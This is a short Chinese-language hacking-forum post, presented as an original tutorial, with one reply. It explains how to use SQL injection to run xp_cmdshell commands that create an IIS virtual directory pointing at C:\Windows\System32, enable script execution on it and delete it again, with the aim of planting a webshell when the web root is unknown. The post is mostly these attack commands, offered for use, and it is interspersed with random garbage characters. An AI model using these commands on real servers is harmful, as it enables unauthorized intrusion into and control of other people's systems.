[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
+ I7 A* W9 s* C; j* f4 x
" {% T, v; Q4 w4 J. A; Wexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
6 h, B, g: H+ g3 F) N7 M. K0 Y建立虚拟目录win,指向c:\windows\system32
- p+ d( L, O. S" Qexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
$ U0 R7 w7 A. @让win句有解析asp脚本权限* z6 E5 ?5 @* [0 E1 n$ V. Y
+ [# d% f" t# z) k! }1 M* f
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
, Z  ?4 Q+ X: \2 w/ C% R  f9 e删除虚拟目录。
7 l2 v9 d( t4 ]$ e3 Y( q找不到web绝对路径的一种解决办法，0 W5 L% T, O$ t
4 A6 J4 t' |& \2 p4 |/ l
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊